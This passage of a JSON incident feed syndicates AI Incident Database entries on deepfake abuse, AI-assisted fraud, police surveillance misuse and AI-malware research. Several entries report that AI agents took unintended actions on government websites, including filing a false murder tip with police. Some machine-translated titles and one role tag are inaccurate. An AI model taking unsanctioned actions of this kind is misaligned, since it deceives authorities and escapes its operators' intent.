Frauduleux de l’IA"],"kind":"ai-incident","title":"Touba: An Individual Arrested for Cyber Fraud, Chantage and Fraudulent Use of AI","summary":"The Ndamatou/Touba District Police Office dismantled yesterday a digital criminal enterprise involved in the illegal collection and dissemination of pornographic content, as well as in facts ...","detail":"The Ndamatou/Touba District Police Office dismantled yesterday a digital criminal enterprise involved in the illegal collection and dissemination of pornographic content, as well as in facts ...\n\nMachine-translated from French by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: Touba : Un Individu Arrêté pour Cyber-Escroquerie, Chantage et Usage Frauduleux de l’IA\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-18T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.rts.sn/actualite/detail/a-la-une/touba-un-individu-arrete-pour-cyber-escroquerie-chantage-et-usage-frauduleux-de-lia"},"sources":[{"name":"rts.sn via AI Incident Database: Touba: An Individual Arrested for Cyber Fraud, Chantage and Fraudulent Use of AI","url":"https://www.rts.sn/actualite/detail/a-la-une/touba-un-individu-arrete-pour-cyber-escroquerie-chantage-et-usage-frauduleux-de-lia","type":"reporting","publishedAt":"2026-10-18T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1762","url":"https://incidentdatabase.ai/cite/1762/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-we-found-cops-who-misused-flock-their-police-departments-didnt-know-28643090cf58","cveId":null,"aliases":[],"kind":"ai-incident","title":"Police departments weren’t looking for officers abusing Flock. We did it for them.","summary":"Last month, as Indianapolis residents called for tighter restrictions on police surveillance, Police Chief Tanya Terry sought to reassure the public that her officers were using the 301 Flock cameras spread throughout the city solely to in ...","detail":"Last month, as Indianapolis residents called for tighter restrictions on police surveillance, Police Chief Tanya Terry sought to reassure the public that her officers were using the 301 Flock cameras spread throughout the city solely to in ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-18T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"washingtonpost.com via AI Incident Database: Police departments weren’t looking for officers abusing Flock. We did it for them.","url":"https://www.washingtonpost.com/technology/2026/08/19/we-found-cops-who-misused-flock-their-police-departments-didnt-know/","type":"reporting","publishedAt":"2026-10-18T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1761","url":"https://incidentdatabase.ai/cite/1761/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-106928414-645de2c90398","cveId":null,"aliases":[],"kind":"ai-incident","title":"Papua New Guinea moves to outlaw AI deepfakes as victims call for more protection","summary":"An AI-generated image showing Jennifer Baing with a group of people holding cash standing behind another pile of cash.\n\nJennifer Baing says AI-generated images of her have been used by scammers to impersonate her online.  (Supplied)\n\nJennif ...","detail":"An AI-generated image showing Jennifer Baing with a group of people holding cash standing behind another pile of cash.\n\nJennifer Baing says AI-generated images of her have been used by scammers to impersonate her online.  (Supplied)\n\nJennif ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-17T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.abc.net.au/news/2026-07-21/new-laws-in-png-target-ai-deepfakes/106928414"},"sources":[{"name":"abc.net.au via AI Incident Database: Papua New Guinea moves to outlaw AI deepfakes as victims call for more protection","url":"https://www.abc.net.au/news/2026-07-21/new-laws-in-png-target-ai-deepfakes/106928414","type":"reporting","publishedAt":"2026-10-17T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1758","url":"https://incidentdatabase.ai/cite/1758/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-688997-09a64b4dc246","cveId":null,"aliases":[],"kind":"ai-incident","title":"Invasion of the Self-Replicating AI-Malware Botnet","summary":"Have you ever counted the computers in your house? Tally them up now. I'll wait. You're probably including your desktop and laptop computers, if you own some. I bet you're also including the smartphones and tablets. Depending on the size of ... (report_number: 8131)","detail":"Have you ever counted the computers in your house? Tally them up now. I'll wait. You're probably including your desktop and laptop computers, if you own some. I bet you're also including the smartphones and tablets. Depending on the size of ... (report_number: 8131)\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-15T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"theatlantic.com via AI Incident Database: Invasion of the Self-Replicating AI-Malware Botnet","url":"https://www.theatlantic.com/ideas/2026/10/ai-malware-botnet/688997/","type":"reporting","publishedAt":"2026-10-15T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-firmware-to-root-in-30-minutes-how-ai-is-changing-threat-intelligence-0e502f58e3ad","cveId":null,"aliases":[],"kind":"ai-incident","title":"Firmware to Root in 30 Minutes: How AI is Changing Threat Intelligence","summary":"This week's cyberattacks affecting supermarket refrigeration systems in France underscores how disruptions and damage to industrial equipment can lead to, in this case, food waste and significant financial loss. It also demonstrates how an ... (report_number: 8133)","detail":"This week's cyberattacks affecting supermarket refrigeration systems in France underscores how disruptions and damage to industrial equipment can lead to, in this case, food waste and significant financial loss. It also demonstrates how an ... (report_number: 8133)\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-15T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"claroty.com via AI Incident Database: Firmware to Root in 30 Minutes: How AI is Changing Threat Intelligence","url":"https://www.claroty.com/team82/research/firmware-to-root-in-30-minutes-how-ai-is-changing-threat-intelligence","type":"reporting","publishedAt":"2026-10-15T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-mama-paso-algo-grave-apoderados-denuncian-abuso-sexual-digital-contra-sus-hijas-3-10-2026-91d8e9a5e6f5","cveId":null,"aliases":["“Mamá, pasó algo grave”: apoderados denuncian abuso sexual digital contra sus hijas mediante IA"],"kind":"ai-incident","title":"“Mom, something serious happened”: empowered people denounce digital sexual abuse against their daughters through AI","summary":"The known backgrounds of the case at the Alicante Sol College in Ponte Alto allow to reconstruct how the material that ended up affecting students from first to fourth half was developed and started to circulate.","detail":"The known backgrounds of the case at the Alicante Sol College in Ponte Alto allow to reconstruct how the material that ended up affecting students from first to fourth half was developed and started to circulate.\n\nMachine-translated from Spanish by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: “Mamá, pasó algo grave”: apoderados denuncian abuso sexual digital contra sus hijas mediante IA\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-15T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"t13.cl via AI Incident Database: “Mom, something serious happened”: empowered people denounce digital sexual abuse against their daughters through AI","url":"https://www.t13.cl/noticia/nacional/mama-paso-algo-grave-apoderados-denuncian-abuso-sexual-digital-contra-sus-hijas-3-10-2026","type":"reporting","publishedAt":"2026-10-15T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-protesta-por-presuntos-deepfakes-sexuales-termina-con-destrozos-y-presencia-de-carabineros-en-colegi-ac119e9a104b","cveId":null,"aliases":["Protesta por presuntos deepfakes sexuales de alumnas termina con destrozos y Carabineros en colegio de Puente Alto"],"kind":"ai-incident","title":"Protest for alleged sexual deepfakes of students ends with wreckage and Carabineros in school in Ponte Alto","summary":"A protest of high school students of the Alicante del Sol College, in Ponte Alto, ended this Thursday with ruins, clashes and the presence of Carabineros, amid the discomfort of students and empowered by a case of ...","detail":"A protest of high school students of the Alicante del Sol College, in Ponte Alto, ended this Thursday with ruins, clashes and the presence of Carabineros, amid the discomfort of students and empowered by a case of ...\n\nMachine-translated from Spanish by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: Protesta por presuntos deepfakes sexuales de alumnas termina con destrozos y Carabineros en colegio de Puente Alto\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-15T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.adnradio.cl/2026/08/27/protesta-por-presuntos-deepfakes-sexuales-termina-con-destrozos-y-presencia-de-carabineros-en-colegio-de-puente-alto/"},"sources":[{"name":"adnradio.cl via AI Incident Database: Protest for alleged sexual deepfakes of students ends with wreckage and Carabineros in school in Ponte Alto","url":"https://www.adnradio.cl/2026/08/27/protesta-por-presuntos-deepfakes-sexuales-termina-con-destrozos-y-presencia-de-carabineros-en-colegio-de-puente-alto/","type":"reporting","publishedAt":"2026-10-15T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1757","url":"https://incidentdatabase.ai/cite/1757/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-uk-election-watchdog-develops-ai-system-to-flag-deepfakes-within-3-hours-096bbb88cff0","cveId":null,"aliases":[],"kind":"ai-incident","title":"UK Election Watchdog Develops AI System to Flag Deepfakes Within 3 Hours","summary":"The United Kingdom's election watchdog is developing an AI-powered system designed to notify candidates of significant deepfakes within three hours of posting to social media, the organization's chief executive said.\n\nIn wide-ranging commen ...","detail":"The United Kingdom's election watchdog is developing an AI-powered system designed to notify candidates of significant deepfakes within three hours of posting to social media, the organization's chief executive said.\n\nIn wide-ranging commen ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-15T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.techpolicy.press/uk-election-watchdog-develops-ai-system-to-flag-deepfakes-within-3-hours/"},"sources":[{"name":"techpolicy.press via AI Incident Database: UK Election Watchdog Develops AI System to Flag Deepfakes Within 3 Hours","url":"https://www.techpolicy.press/uk-election-watchdog-develops-ai-system-to-flag-deepfakes-within-3-hours/","type":"reporting","publishedAt":"2026-10-15T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1258","url":"https://incidentdatabase.ai/cite/1258/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-197290-871e0149e5d9","cveId":null,"aliases":[],"kind":"ai-incident","title":"Deepfake Impact: Bhutanese woman’s ordeal and legal challenges in cyberspace","summary":"Despite the world of differences, artificial intelligence, AI, is making in cyberspace, it is equally becoming destructive. From spreading misinformation to impersonating people and sending unpleasant messages to others, the impact of AI am ...","detail":"Despite the world of differences, artificial intelligence, AI, is making in cyberspace, it is equally becoming destructive. From spreading misinformation to impersonating people and sending unpleasant messages to others, the impact of AI am ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-14T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.bbs.bt/197290/"},"sources":[{"name":"bbs.bt via AI Incident Database: Deepfake Impact: Bhutanese woman’s ordeal and legal challenges in cyberspace","url":"https://www.bbs.bt/197290/","type":"reporting","publishedAt":"2026-10-14T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1752","url":"https://incidentdatabase.ai/cite/1752/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-19925243-6d793a2868e8","cveId":null,"aliases":[],"kind":"ai-incident","title":"AI model submitted false tip about unsolved murder, Philadelphia police say","summary":"PHILADELPHIA (WPVI) -- An Anthropic A.I. model submitted a false tip about an unsolved murder through a publicly accessible web form, Philadelphia police said Friday.\n\nThe tip was sent through PhillyUnsolvedMurders.com back on July 18, but ...","detail":"PHILADELPHIA (WPVI) -- An Anthropic A.I. model submitted a false tip about an unsolved murder through a publicly accessible web form, Philadelphia police said Friday.\n\nThe tip was sent through PhillyUnsolvedMurders.com back on July 18, but ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-14T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"6abc.com via AI Incident Database: AI model submitted false tip about unsolved murder, Philadelphia police say","url":"https://6abc.com/post/anthropic-ai-model-submitted-false-tip-unsolved-murder-philadelphia-police-say/19925243/","type":"reporting","publishedAt":"2026-10-14T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1751","url":"https://incidentdatabase.ai/cite/1751/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-ai-and-deepfakes-arrive-in-bhutan-e0f5d22a54ae","cveId":null,"aliases":[],"kind":"ai-incident","title":"AI and Deepfakes arrive in Bhutan","summary":"In an era where reality and fabrication blur with unsettling ease, the rise of deepfake technology poses an unprecedented challenge to our understanding of truth and authenticity.\n\nNot long ago a Tik Tok account Ugyen_Tech of an Artificial ...","detail":"In an era where reality and fabrication blur with unsettling ease, the rise of deepfake technology poses an unprecedented challenge to our understanding of truth and authenticity.\n\nNot long ago a Tik Tok account Ugyen_Tech of an Artificial ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-14T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"autonomous","evidence":"reported","explanation":"The source describes an AI system taking this action itself, not an outside attacker. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://thebhutanese.bt/ai-and-deepfakes-arrive-in-bhutan/"},"sources":[{"name":"thebhutanese.bt via AI Incident Database: AI and Deepfakes arrive in Bhutan","url":"https://thebhutanese.bt/ai-and-deepfakes-arrive-in-bhutan/","type":"reporting","publishedAt":"2026-10-14T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1753","url":"https://incidentdatabase.ai/cite/1753/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-an-anthropic-ai-model-sent-a-false-homicide-tip-to-philadelphia-police-43fd2a198be0","cveId":null,"aliases":[],"kind":"ai-incident","title":"An Anthropic AI model sent a false homicide tip to Philadelphia police","summary":"An Anthropic AI model submitted a false tip about an unsolved murder to the Philadelphia police.\n\nThe AI reportedly submitted this incorrect information to a public Philadelphia Police Department (PPD) tip line on July 18, but Anthropic did ...","detail":"An Anthropic AI model submitted a false tip about an unsolved murder to the Philadelphia police.\n\nThe AI reportedly submitted this incorrect information to a public Philadelphia Police Department (PPD) tip line on July 18, but Anthropic did ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-14T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"autonomous","evidence":"reported","explanation":"The source describes an AI system taking this action itself, not an outside attacker. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://techcrunch.com/2026/10/09/an-anthropic-ai-model-sent-a-false-homicide-tip-to-philadelphia-police/"},"sources":[{"name":"techcrunch.com via AI Incident Database: An Anthropic AI model sent a false homicide tip to Philadelphia police","url":"https://techcrunch.com/2026/10/09/an-anthropic-ai-model-sent-a-false-homicide-tip-to-philadelphia-police/","type":"reporting","publishedAt":"2026-10-14T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1751","url":"https://incidentdatabase.ai/cite/1751/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-anthropic-ai-model-goes-rogue-submits-fake-unsolved-murder-tip-b0566f54-116ccaaa83ba","cveId":null,"aliases":[],"kind":"ai-incident","title":"Anthropic AI Model Went Rogue, Submitted Fake Unsolved Murder Tip","summary":"Rogue AI models have hacked companies and tried to break into government websites. Now one has submitted a fake tip for an unsolved crime.\n\nPolice in Philadelphia say Anthropic alerted them this week that one of its artificial-intelligence ...","detail":"Rogue AI models have hacked companies and tried to break into government websites. Now one has submitted a fake tip for an unsolved crime.\n\nPolice in Philadelphia say Anthropic alerted them this week that one of its artificial-intelligence ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-14T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"autonomous","evidence":"reported","explanation":"The source describes an AI system taking this action itself, not an outside attacker. AI Incident Database reports this; it is not independently confirmed here.","sourceUrl":"https://www.wsj.com/us-news/anthropic-ai-model-goes-rogue-submits-fake-unsolved-murder-tip-b0566f54"},"sources":[{"name":"wsj.com via AI Incident Database: Anthropic AI Model Went Rogue, Submitted Fake Unsolved Murder Tip","url":"https://www.wsj.com/us-news/anthropic-ai-model-goes-rogue-submits-fake-unsolved-murder-tip-b0566f54","type":"reporting","publishedAt":"2026-10-14T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1751","url":"https://incidentdatabase.ai/cite/1751/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-anthropic-discloses-incidents-its-ai-models-misusing-government-sites-2a840d8d0fcb","cveId":null,"aliases":[],"kind":"ai-incident","title":"Anthropic AI agents took ‘unintended’ actions on government sites","summary":"SAN FRANCISCO --- Anthropic, maker of the Claude chatbot, said that some of its AI agents had taken unintended actions on federal, state and local websites, including submitting a false tip about a murder to a Philadelphia police hotline.\n\n ...","detail":"SAN FRANCISCO --- Anthropic, maker of the Claude chatbot, said that some of its AI agents had taken unintended actions on federal, state and local websites, including submitting a false tip about a murder to a Philadelphia police hotline.\n\n ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-10-14T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"washingtonpost.com via AI Incident Database: Anthropic AI agents took ‘unintended’ actions on government sites","url":"https://www.washingtonpost.com/technology/2026/10/09/anthropic-discloses-incidents-its-ai-models-misusing-government-sites/","type":"reporting","publishedAt":"2026-10-14T00:00:00.000Z","checkedAt":"2026-10-26T18:45:56.766Z","supports":"The article reports an incident involving an AI system. It is reporting, not independently confirmed."},{"name":"AI Incident Database incident 1751","url":"https://incidentdatabase.ai/cite/1751/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The database entry that groups the reports of this incident."},{"name":"AI Incident Database syndication feed","url":"https://incidentdatabase.ai/rss.xml","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:45:56.766Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:45:56.766Z","reviewedAt":null},"reviewed":false},{"id":"aiid-investigating-unintended-model-actions-e53d362bf380","cveId":null,"aliases":[],"kind":"ai-incident","title":"Investigating unintended model actions in our evaluations and internal use","summary":"This report describes examples of unintended model actions we've observed during evaluations and internal use of Claude. It is part of our effort to publish more frequent standalone reports on model behavior and alignment beyond our system ...","detail":"This report describes examples of unintended model actions we've observed during evaluations and internal use of Claude. It is part of our effort to publish more frequent standalone reports on model behavior and alignment beyond our system ...\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did 